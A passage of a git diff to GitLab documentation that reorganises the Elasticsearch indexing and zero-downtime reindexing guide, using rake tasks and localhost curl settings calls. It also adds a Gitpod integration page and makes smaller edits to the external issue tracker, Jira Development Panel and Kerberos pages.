- # Installations from source
- bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production
- ```
-
-1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch).
-
-### Indexing through Rake tasks
-
-Indexing can be performed using Rake tasks.
-
-#### Indexing small instances
-
-CAUTION: **Warning:**
-This will delete your existing indexes.
-
-If the database size is less than 500 MiB, and the size of all hosted repos is less than 5 GiB:
-
-1. [Configure your Elasticsearch host and port](#enabling-elasticsearch).
-1. Index your data:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index
-
- # Installations from source
- bundle exec rake gitlab:elastic:index RAILS_ENV=production
- ```
-
-1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch).
-
-#### Indexing large instances
-
-CAUTION: **Warning:**
-Performing asynchronous indexing will generate a lot of Sidekiq jobs.
-Make sure to prepare for this task by having a [Scalable and Highly Available Setup](README.md)
-or creating [extra Sidekiq processes](../administration/operations/extra_sidekiq_processes.md)
-
-1. [Configure your Elasticsearch host and port](#enabling-elasticsearch).
-1. Create empty indexes:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:create_empty_index
-
- # Installations from source
- bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production
- ```
-
-1. If this is a re-index of your GitLab instance, clear the index status:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:clear_index_status
-
- # Installations from source
- bundle exec rake gitlab:elastic:clear_index_status RAILS_ENV=production
- ```
-
-1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch).
-1. Indexing large Git repositories can take a while. To speed up the process, you can [tune for indexing speed](https://www.elastic.co/guide/en/elasticsearch/reference/current/tune-for-indexing-speed.html#tune-for-indexing-speed):
-
- - You can temporarily disable [`refresh`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html), the operation responsible for making changes to an index available to search.
-
- - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index will have. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete.
-
- In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings.
-
- NOTE: **Note:**
- This step is optional but may help significantly speed up large indexing operations.
-
- ```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "index" : {
- "refresh_interval" : "-1",
- "number_of_replicas" : 0
- } }'
- ```
-
-1. Index projects and their associated data:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_projects
-
- # Installations from source
- bundle exec rake gitlab:elastic:index_projects RAILS_ENV=production
- ```
-
- This enqueues a Sidekiq job for each project that needs to be indexed.
- You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab**
- and click `elastic_indexer`, or you can query indexing status using a Rake task:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_projects_status
-
- # Installations from source
- bundle exec rake gitlab:elastic:index_projects_status RAILS_ENV=production
-
- Indexing is 65.55% complete (6555/10000 projects)
- ```
-
- If you want to limit the index to a range of projects you can provide the
- `ID_FROM` and `ID_TO` parameters:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000
-
- # Installations from source
- bundle exec rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 RAILS_ENV=production
- ```
-
- Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional.
- The above example will index all projects from ID `1001` up to (and including) ID `2000`.
-
- TIP: **Troubleshooting:**
- Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects`
- can get interrupted. This may happen for many reasons, but it's always safe
- to run the indexing task again. It will skip repositories that have
- already been indexed.
-
- As the indexer stores the last commit SHA of every indexed repository in the
- database, you can run the indexer with the special parameter `UPDATE_INDEX` and
- it will check every project repository again to make sure that every commit in
- a repository is indexed, which can be useful in case if your index is outdated:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000
-
- # Installations from source
- bundle exec rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 RAILS_ENV=production
- ```
-
- You can also use the `gitlab:elastic:clear_index_status` Rake task to force the
- indexer to "forget" all progress, so it will retry the indexing process from the
- start.
-
-1. Personal snippets are not associated with a project and need to be indexed separately:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_snippets
-
- # Installations from source
- bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production
- ```
-
-1. Enable replication and refreshing again after indexing (only if you previously disabled it):
-
- ```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "index" : {
- "number_of_replicas" : 1,
- "refresh_interval" : "1s"
- } }'
- ```
-
- A force merge should be called after enabling the refreshing above.
-
- For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge:
-
- ```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "settings": {
- "index.blocks.write": true
- } }'
- ```
-
- Then, initiate the force merge:
-
- ```shell
- curl --request POST 'localhost:9200/gitlab-production/_forcemerge?max_num_segments=5'
- ```
-
- After this, if your index is in read-only mode, switch back to read-write:
-
- ```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "settings": {
- "index.blocks.write": false
- } }'
- ```
-
-1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch).
-
-### Indexing limitations
-
-For repository and snippet files, GitLab will only index up to 1 MiB of content, in order to avoid indexing timeouts.
-
## Zero downtime reindexing
-The idea behind this reindexing method is to leverage Elasticsearch index alias feature to atomically swap between two indices.
-We will refer to each index as `primary` (online and used by GitLab for read/writes) and `secondary` (offline, for reindexing purpose).
+The idea behind this reindexing method is to leverage Elasticsearch index alias
+feature to atomically swap between two indices. We'll refer to each index as
+`primary` (online and used by GitLab for read/writes) and `secondary`
+(offline, for reindexing purpose).
-Instead of connecting directly to the `primary` index, we'll setup an index alias such as we can change the underlying index at will.
+Instead of connecting directly to the `primary` index, we'll setup an index
+alias such as we can change the underlying index at will.
NOTE: **Note:**
-Any index attached to the production alias is deemed a `primary` and will end up being used by the GitLab Elasticsearch integration.
+Any index attached to the production alias is deemed a `primary` and will be
+used by the GitLab Elasticsearch integration.
### Pause the indexing
-Under **Admin Area > Integration > Elasticsearch**, check the **Pause Elasticsearch Indexing** setting and save.
+In the **Admin Area > Settings > General > Advanced Search** section, select the
+**Pause Elasticsearch Indexing** setting, and then save your change.
-With this, all updates that should happen on your Elasticsearch index will be buffered and caught up once unpaused.
+With this, all updates that should happen on your Elasticsearch index will be
+buffered and caught up once unpaused.
### Setup
TIP: **Tip:**
-If your index has been created with GitLab v13.0+ you can skip directly to [trigger the reindex](#trigger-the-reindex-via-the-elasticsearch-administration).
+If your index was created with GitLab 13.0 or greater, you can directly
+[trigger the reindex](#trigger-the-reindex-via-the-advanced-search-administration).
-This process involves multiple shell commands and curl invocations, so a good initial setup will help down the road:
+This process involves several shell commands and curl invocations, so a good
+initial setup will help for later:
```shell
-# You can find this value under Admin Area > Integration > Elasticsearch > URL
+# You can find this value under Admin Area > Settings > General > Advanced Search > URL
export CLUSTER_URL="http://localhost:9200"
export PRIMARY_INDEX="gitlab-production"
export SECONDARY_INDEX="gitlab-production-$(date +%s)"
@@ -456,10 +312,12 @@ export SECONDARY_INDEX="gitlab-production-$(date +%s)"
### Reclaiming the `gitlab-production` index name
CAUTION: **Caution:**
-It is highly recommended that you take a snapshot of your cluster to make sure there is a recovery path if anything goes wrong.
+It is highly recommended that you take a snapshot of your cluster to ensure
+there is a recovery path if anything goes wrong.
NOTE: **Note:**
-Due to a technical limitation, there will be a slight downtime because of the fact that we need to reclaim the current `primary` index to be used as the alias.
+Due to a technical limitation, there will be a slight downtime because of the
+fact that we need to reclaim the current `primary` index to be used as the alias.
To reclaim the `gitlab-production` index name, you need to first create a `secondary` index and then trigger the re-index from `primary`.
@@ -477,7 +335,8 @@ sudo SKIP_ALIAS=1 gitlab-rake "gitlab:elastic:create_empty_index[$SECONDARY_INDE
SKIP_ALIAS=1 bundle exec rake "gitlab:elastic:create_empty_index[$SECONDARY_INDEX]"
```
-The index should be created successfully, with the latest index options and mappings.
+The index should be created successfully, with the latest index options and
+mappings.
#### Trigger the re-index from `primary`
@@ -498,9 +357,9 @@ To trigger the re-index from `primary` index:
{"task":"3qw_Tr0YQLq7PF16Xek8YA:1012"}
```
- Note the `task` value here as it will be useful to follow the reindex progress.
+ Note the `task` value, as it will be useful to follow the reindex progress.
-1. Wait for the reindex process to complete, by checking the `completed` value.
+1. Wait for the reindex process to complete by checking the `completed` value.
Using the `task` value form the previous step:
```shell
@@ -514,10 +373,10 @@ To trigger the re-index from `primary` index:
{"completed":false, …}
```
- Once the returned value is `true`, you may continue to the next step.
+ After the returned value is `true`, continue to the next step.
-1. Make sure that the secondary index has data in it. You can use the Elasticsearch
- API to look for the index size and compare our two indices:
+1. Ensure that the secondary index has data in it. You can use the
+ Elasticsearch API to look for the index size and compare our two indices:
```shell
curl $CLUSTER_URL/$PRIMARY_INDEX/_count => 123123
@@ -527,7 +386,8 @@ To trigger the re-index from `primary` index:
TIP: **Tip:**
Comparing the document count is more accurate than using the index size, as improvements to the storage might cause the new index to be smaller than the original one.
-1. Once you are confident your `secondary` index is valid, you can process to the creation of the alias.
+1. After you are confident your `secondary` index is valid, you can process to
+ the creation of the alias.
```shell
# Delete the original index
@@ -540,18 +400,18 @@ To trigger the re-index from `primary` index:
$CLUSTER_URL/_aliases
```
- The reindexing is now completed. Your GitLab instance is now ready to use the [automated in-cluster reindexing](#trigger-the-reindex-via-the-elasticsearch-administration) feature for future reindexing.
+ The reindexing is now completed. Your GitLab instance is now ready to use the [automated in-cluster reindexing](#trigger-the-reindex-via-the-advanced-search-administration) feature for future reindexing.
1. Unpause the indexing
- Under **Admin Area > Integration > Elasticsearch**, uncheck the **Pause Elasticsearch Indexing** setting and save.
+ Under **Admin Area > Settings > General > Advanced Search**, uncheck the **Pause Elasticsearch Indexing** setting and save.
-### Trigger the reindex via the Elasticsearch administration
+### Trigger the reindex via the Advanced Search administration
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34069) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2.
> - A scheduled index deletion and the ability to cancel it was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38914) in GitLab Starter 13.3.
-Under **Admin Area > Integration > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**.
+Under **Admin Area > Settings > General > Advanced Search > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**.
NOTE: **Note:**
Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster.
@@ -567,13 +427,13 @@ Rake tasks are available to:
- [Build and install](#building-and-installing) the indexer.
- Delete indexes when [disabling Elasticsearch](#disabling-elasticsearch).
-- [Add GitLab data](#adding-gitlabs-data-to-the-elasticsearch-index) to an index.
+- Add GitLab data to an index.
The following are some available Rake tasks:
| Task | Description |
|:--------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch Indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. |
+| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. |
| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. |
| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. |
| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. |
@@ -644,6 +504,168 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic
- The `Number of Elasticsearch shards` setting usually corresponds with the number of CPUs available in your cluster. For example, if you have a 3-node cluster with 4 cores each, this means you will benefit from having at least 3*4=12 shards in the cluster. Please note, it's only possible to change the shards number by using [Split index API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-split-index.html) or by reindexing to a different index with a changed number of shards.
- The `Number of Elasticsearch replicas` setting should most of the time be equal to `1` (each shard will have 1 replica). Using `0` is not recommended, because losing one node will corrupt the index.
+### Indexing large instances
+
+This section may be helpful in the event that the other
+[basic instructions](#enabling-elasticsearch) cause problems
+due to large volumes of data being indexed.
+
+CAUTION: **Warning:**
+Indexing a large instance will generate a lot of Sidekiq jobs.
+Make sure to prepare for this task by having a [Scalable and Highly Available
+Setup](../administration/reference_architectures/index.md) or creating [extra
+Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
+
+1. [Configure your Elasticsearch host and port](#enabling-elasticsearch).
+1. Create empty indexes:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:create_empty_index
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production
+ ```
+
+1. If this is a re-index of your GitLab instance, clear the index status:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:clear_index_status
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:clear_index_status RAILS_ENV=production
+ ```
+
+1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch).
+1. Indexing large Git repositories can take a while. To speed up the process, you can [tune for indexing speed](https://www.elastic.co/guide/en/elasticsearch/reference/current/tune-for-indexing-speed.html#tune-for-indexing-speed):
+
+ - You can temporarily disable [`refresh`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html), the operation responsible for making changes to an index available to search.
+
+ - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index will have. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete.
+
+ In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings.
+
+ NOTE: **Note:**
+ This step is optional but may help significantly speed up large indexing operations.
+
+ ```shell
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
+ "index" : {
+ "refresh_interval" : "-1",
+ "number_of_replicas" : 0
+ } }'
+ ```
+
+1. Index projects and their associated data:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_projects
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_projects RAILS_ENV=production
+ ```
+
+ This enqueues a Sidekiq job for each project that needs to be indexed.
+ You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab**
+ and click `elastic_indexer`, or you can query indexing status using a Rake task:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_projects_status
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_projects_status RAILS_ENV=production
+
+ Indexing is 65.55% complete (6555/10000 projects)
+ ```
+
+ If you want to limit the index to a range of projects you can provide the
+ `ID_FROM` and `ID_TO` parameters:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 RAILS_ENV=production
+ ```
+
+ Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional.
+ The above example will index all projects from ID `1001` up to (and including) ID `2000`.
+
+ TIP: **Troubleshooting:**
+ Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects`
+ can get interrupted. This may happen for many reasons, but it's always safe
+ to run the indexing task again. It will skip repositories that have
+ already been indexed.
+
+ As the indexer stores the last commit SHA of every indexed repository in the
+ database, you can run the indexer with the special parameter `UPDATE_INDEX` and
+ it will check every project repository again to make sure that every commit in
+ a repository is indexed, which can be useful in case if your index is outdated:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 RAILS_ENV=production
+ ```
+
+ You can also use the `gitlab:elastic:clear_index_status` Rake task to force the
+ indexer to "forget" all progress, so it will retry the indexing process from the
+ start.
+
+1. Personal snippets are not associated with a project and need to be indexed separately:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_snippets
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production
+ ```
+
+1. Enable replication and refreshing again after indexing (only if you previously disabled it):
+
+ ```shell
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
+ "index" : {
+ "number_of_replicas" : 1,
+ "refresh_interval" : "1s"
+ } }'
+ ```
+
+ A force merge should be called after enabling the refreshing above.
+
+ For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge:
+
+ ```shell
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
+ "settings": {
+ "index.blocks.write": true
+ } }'
+ ```
+
+ Then, initiate the force merge:
+
+ ```shell
+ curl --request POST 'localhost:9200/gitlab-production/_forcemerge?max_num_segments=5'
+ ```
+
+ After this, if your index is in read-only mode, switch back to read-write:
+
+ ```shell
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
+ "settings": {
+ "index.blocks.write": false
+ } }'
+ ```
+
+1. After the indexing has completed, enable [**Search with Elasticsearch enabled**](#enabling-elasticsearch).
+
### Deleted documents
Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the master branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index.
@@ -701,11 +723,11 @@ Here are some common pitfalls and how to overcome them:
We continuously make updates to our indexing strategies and aim to support
newer versions of Elasticsearch. When indexing changes are made, it may
- be necessary for you to [reindex](#adding-gitlabs-data-to-the-elasticsearch-index) after updating GitLab.
+ be necessary for you to [reindex](#zero-downtime-reindexing) after updating GitLab.
- **I indexed all the repositories but I can't find anything**
- Make sure you indexed all the database data [as stated above](#adding-gitlabs-data-to-the-elasticsearch-index).
+ Make sure you indexed all the database data [as stated above](#enabling-elasticsearch).
Beyond that, check via the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html) to see if the data shows up on the Elasticsearch side.
@@ -734,6 +756,17 @@ Here are some common pitfalls and how to overcome them:
You can run `sudo gitlab-rake gitlab:elastic:projects_not_indexed` to display projects that aren't indexed.
+- **No new data is added to the Elasticsearch index when I push code**
+
+ NOTE: **Note:**
+ This was [fixed in GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35936) and the Rake task is not available for versions greater than that.
+
+ When performing the initial indexing of blobs, we lock all projects until the project finishes indexing. It could happen that an error during the process causes one or multiple projects to remain locked. In order to unlock them, run:
+
+ ```shell
+ sudo gitlab-rake gitlab:elastic:clear_locked_projects
+ ```
+
- **"Can't specify parent if no parent field has been configured"**
If you enabled Elasticsearch before GitLab 8.12 and have not rebuilt indexes you will get
@@ -801,7 +834,7 @@ Here are some common pitfalls and how to overcome them:
```
You probably have not used either `http://` or `https://` as part of your value in the **"URL"** field of the Elasticsearch Integration Menu. Please make sure you are using either `http://` or `https://` in this field as the [Elasticsearch client for Go](https://github.com/olivere/elastic) that we are using [needs the prefix for the URL to be accepted as valid](https://github.com/olivere/elastic/commit/a80af35aa41856dc2c986204e2b64eab81ccac3a).
- Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-elasticsearch-rake-tasks)) and [reindex the content of your instance](#adding-gitlabs-data-to-the-elasticsearch-index).
+ Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-elasticsearch-rake-tasks)) and [reindex the content of your instance](#enabling-elasticsearch).
### Low-level troubleshooting
@@ -815,7 +848,7 @@ There is a [more structured, lower-level troubleshooting document](../administra
Improvements to the `code_analyzer` pattern and filters is being discussed in [epic 3621](https://gitlab.com/groups/gitlab-org/-/epics/3621).
-### Reverting to basic search
+### Reverting to Basic Search
Sometimes there may be issues with your Elasticsearch index data and as such
GitLab will allow you to revert to "basic search" when there are no search
diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md
index 8b4ebc337de..cde0093f53e 100644
--- a/doc/integration/external-issue-tracker.md
+++ b/doc/integration/external-issue-tracker.md
@@ -1,7 +1,7 @@
# External issue tracker
GitLab has a great [issue tracker](../user/project/issues/index.md) but you can also use an external one
-such as Jira, Redmine, YouTrack, or Bugzilla. External issue trackers are configurable per GitLab project.
+such as Jira, Redmine, YouTrack, Bugzilla, or EWM. External issue trackers are configurable per GitLab project.
Once configured, you can reference external issues using the format `CODE-123`, where:
@@ -26,6 +26,7 @@ Visit the links below for details:
- [YouTrack](../user/project/integrations/youtrack.md)
- [Jira](../user/project/integrations/jira.md)
- [Bugzilla](../user/project/integrations/bugzilla.md)
+- [EWM](../user/project/integrations/ewm.md)
- [Custom Issue Tracker](../user/project/integrations/custom_issue_tracker.md)
### Service Template
diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md
new file mode 100644
index 00000000000..f26483e3b5e
--- /dev/null
+++ b/doc/integration/gitpod.md
@@ -0,0 +1,74 @@
+---
+type: reference, how-to
+stage: Create
+group: Editor
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+---
+
+# Gitpod Integration
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228893) in GitLab 13.4.
+> - It's [deployed behind a feature flag](#enable-or-disable-the-gitpod-integration), disabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#configure-your-gitlab-instance-with-gitpod). **(CORE ONLY)**
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+With [Gitpod](https://gitpod.io/) you can describe your dev environment as code to get fully set
+up, compiled, and tested dev environments for any GitLab project. The dev environments are not only
+automated but also prebuilt which means that Gitpod continuously builds your Git branches like a CI
+server. By that you don’t have to wait for dependencies to be downloaded and builds to finish, but
+you can start coding immediately.
+
+In short: With Gitpod you can start coding instantly on any project, branch, and merge request from
+any device, at any time.
+
+![Gitpod interface](img/gitpod_web_interface_v13_4.png)
+
+You can launch Gitpod directly from GitLab by clicking the **Gitpod** button from the **Web IDE**
+dropdown on the project page:
+
+![Gitpod Button on Project Page](img/gitpod_button_project_page_v13_4.png)
+
+To learn more about Gitpod, see their [features](https://www.gitpod.io/features/) and
+[documentation](https://www.gitpod.io/docs/).
+
+To use the GitLab-Gitpod integration, you need to enable it from your user preferences:
+
+1. From the GitLab UI, click your avatar in the top-right corner, then click **Settings**.
+1. On the left-hand nav, click **Preferences**.
+1. Under **Integrations**, find the **Gitpod** section.
+1. Check **Enable Gitpod**.
+
+Users of GitLab.com can enable it and start using straightaway. Users of GitLab self-managed instances
+can follow the same steps once the integration has been enabled and configured by a GitLab administrator.
+
+## Configure your GitLab instance with Gitpod **(CORE ONLY)**
+
+If you are new to Gitpod, head over to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/)
+and get your instance up and running.
+
+1. In GitLab, go to **Admin Area > Settings > Integrations**.
+1. Expand the **Gitpod** configuration section.
+1. Check **Enable Gitpod**.
+1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`).
+
+## Enable or disable the Gitpod integration **(CORE ONLY)**
+
+The Gitpod integration is under development and not ready for production use. It is deployed behind a
+feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:gitpod)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:gitpod)
diff --git a/doc/integration/img/gitpod_button_project_page_v13_4.png b/doc/integration/img/gitpod_button_project_page_v13_4.png
new file mode 100644
index 00000000000..55a70d89169
--- /dev/null
+++ b/doc/integration/img/gitpod_button_project_page_v13_4.png
Binary files differ
diff --git a/doc/integration/img/gitpod_web_interface_v13_4.png b/doc/integration/img/gitpod_web_interface_v13_4.png
new file mode 100644
index 00000000000..5cd9a6aad0f
--- /dev/null
+++ b/doc/integration/img/gitpod_web_interface_v13_4.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_jira_setup_1-1.png b/doc/integration/img/jira_dev_panel_jira_setup_1-1.png
deleted file mode 100644
index cef903ac9b4..00000000000
--- a/doc/integration/img/jira_dev_panel_jira_setup_1-1.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md
index 7c646b95ae7..9b7aa5829c1 100644
--- a/doc/integration/jira_development_panel.md
+++ b/doc/integration/jira_development_panel.md
@@ -4,9 +4,10 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# GitLab Jira Development Panel integration **(PREMIUM)**
+# GitLab Jira Development Panel integration **(CORE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2381) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2381) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.4.
The Jira Development Panel integration allows you to reference Jira issues within GitLab, displaying activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/) in the issue. It complements the [GitLab Jira integration](../user/project/integrations/jira.md). You may choose to configure both integrations to take advantage of both sets of features. (See a [feature comparison](../user/project/integrations/jira_integrations.md#feature-comparison)).
@@ -92,9 +93,6 @@ If you're using GitLab.com and Jira Cloud, we recommend you use the [GitLab for
If you're using Jira Cloud, go to **Settings (gear) > Products > DVCS accounts**.
1. Click **Link GitHub Enterprise account** to start creating a new integration.
(We're pretending to be GitHub in this integration, until there's additional platform support in Jira.)
-
- ![Jira Settings](img/jira_dev_panel_jira_setup_1-1.png)
-
1. Complete the form:
Select **GitHub Enterprise** for the **Host** field.
@@ -202,13 +200,12 @@ Potential resolutions:
- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later
to resolve an identified [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012).
-- The Jira Development Panel integration requires GitLab Premium, GitLab.com Silver,
- or a higher tier. If you're using a lower tier of GitLab, you'll need to upgrade
- to use this feature.
+- If you're using GitLab Core or GitLab Starter, be sure you're using
+ GitLab 13.4 or later.
[Contact GitLab Support](https://about.gitlab.com/support) if none of these reasons apply.
-#### Fixing synchonization issues
+#### Fixing synchronization issues
If Jira displays incorrect information (such as deleted branches), you may need to
resynchronize the information. To do so:
@@ -237,12 +234,14 @@ For a walkthrough of the integration with GitLab for Jira, watch [Configure GitL
1. After installing, click **Get started** to go to the configurations page. This page is always available under **Jira Settings > Apps > Manage apps**.
![Start GitLab App configuration on Jira](img/jira_dev_panel_setup_com_2.png)
-1. Enter the group or personal namespace in the **Namespace** field and click **Link namespace to Jira**. Make sure you are logged in on GitLab.com and the namespace has a Silver or above license. The user setting up _GitLab for Jira_ must have **Maintainer** access to the GitLab namespace.
+1. In **Namespace**, enter the group or personal namespace, and then click
+ **Link namespace to Jira**. The user setting up *GitLab for Jira* must have
+ *Maintainer* access to the GitLab namespace.
NOTE: **Note:**
The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user's token.
- ![Confure namespace on GitLab Jira App](img/jira_dev_panel_setup_com_3.png)
+ ![Configure namespace on GitLab Jira App](img/jira_dev_panel_setup_com_3.png)
After a namespace is added, all future commits, branches and merge requests of all projects under that namespace will be synced to Jira. Past data cannot be synced at the moment.
diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md
index 09bc795f7ef..1b14b5a986f 100644
--- a/doc/integration/kerberos.md
+++ b/doc/integration/kerberos.md
@@ -103,7 +103,7 @@ enabled, then your users will be automatically linked to their LDAP accounts on
first login. For this to work, some prerequisites must be met:
The Kerberos username must match the LDAP user's UID. You can choose which LDAP
-attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration-core-only)
+attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration)
but for Active Directory, this should be `sAMAccountName`.
